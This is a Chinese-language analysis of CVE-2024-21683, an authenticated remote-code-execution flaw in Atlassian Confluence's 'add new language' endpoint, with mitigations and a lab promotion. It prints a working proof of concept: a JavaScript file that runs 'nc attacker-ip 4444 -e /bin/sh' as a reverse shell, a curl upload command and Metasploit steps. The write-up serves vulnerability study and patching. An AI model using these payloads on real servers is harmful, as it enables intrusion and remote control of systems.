CVE-2024-21683:Atlassian Confluence“添加新语言”功能导致的认证远程代码执行漏洞分析

本文详细分析了CVE-2024-21683漏洞,该漏洞影响Atlassian Confluence Data Center和Server版本5.2至8.9.0,允许认证用户通过恶意代码宏执行任意代码,涉及技术细节、利用步骤及缓解措施。

CVE-2024-21683 – 通过Atlassian Confluence“添加新语言”功能实现认证远程代码执行

概述

CVE-2024-21683是一个严重的远程代码执行(RCE)漏洞,影响自托管的Atlassian Confluence Data Center和Server实例(版本5.2至8.9.0)。该漏洞允许具有添加代码宏语言权限的认证攻击者上传恶意脚本,导致在主机系统上执行任意代码。

  • CVE ID: CVE-2024-21683
  • 严重性: 高
  • CVSS 分数: 8.8(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
  • EPSS 分数: 93.98%
  • 发布日期: 2024年5月21日
  • 受影响版本: Confluence Data Center ≤8.9.0;Server ≤8.5.8 LTS / ≤7.19.21 LTS
  • 修复版本: Data Center ≥8.9.1;Server ≥8.5.9 LTS 或 7.19.22 LTS

技术分析

该漏洞源于“添加新语言”功能中的输入验证不足,该功能通过以下端点访问:

1
POST /admin/plugins/newcode/addlanguage.action

此端点期望一个JavaScript语言文件,该文件由RhinoLanguageParser解析。然而,由于解析器在脚本中启用了Java类访问,攻击者可以注入恶意Java代码(例如,java.lang.Runtime.getRuntime().exec(…))以实现RCE。

利用条件

  • 必须具有对Confluence的认证访问权限,并具有添加新宏语言的权限
  • 实例必须处于易受攻击的版本(≤8.9.0 DC 或 ≤8.5.8/7.19.21 LTS Server)
  • 对Confluence Web界面的网络访问权限

利用步骤(手动和Metasploit)

手动PoC(通过curl)

  1. 创建exploit.js:
1
2
3
new java.lang.ProcessBuilder["(java.lang.String[])"](
  ["bash","-c","nc attacker-ip 4444 -e /bin/sh"]
).start();
  1. 发送利用代码:
1
2
3
4
curl -X POST http://target:8090/admin/plugins/newcode/addlanguage.action \
  -F "atl_token=<CSRF_TOKEN>" \
  -F "languageFile=@exploit.js;filename=exploit.js" \
  -F "newLanguageName=evil"

上传后,代码执行,生成反向shell。PoC链接:Github

Metasploit模块

Rapid7发布了一个Metasploit模块exploit/multi/http/atlassian_confluence_rce_cve_2024_21683。使用流程如下:

1
2
3
4
5
6
msf > use exploit/multi/http/atlassian_confluence_rce_cve_2024_21683
msf exploit(...) > set RHOSTS 10.10.10.5
msf exploit(...) > set admin_user admin
msf exploit(...) > set admin_pass admin
msf exploit(...) > set payload cmd/linux/http/x86/meterpreter_reverse_https
msf exploit(...) > exploit

如果凭据有效且权限足够,模块将上传并执行恶意脚本,获得shell。

缓解措施

  • 将Confluence升级到修复版本:DC ≥8.9.1;Server ≥8.5.9 LTS / 7.19.22 LTS
  • 限制“添加语言”权限给受信任的管理员
  • 监控日志中对/admin/plugins/newcode/addlanguage.action的API调用
  • 立即设置WAF规则:阻止未经授权的POST请求到此端点

参考

点击下方访问我们学习库中的CVE-2024-21683实验。CVE实验室可通过Learn Enterprise账户访问。

访问此实验室

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计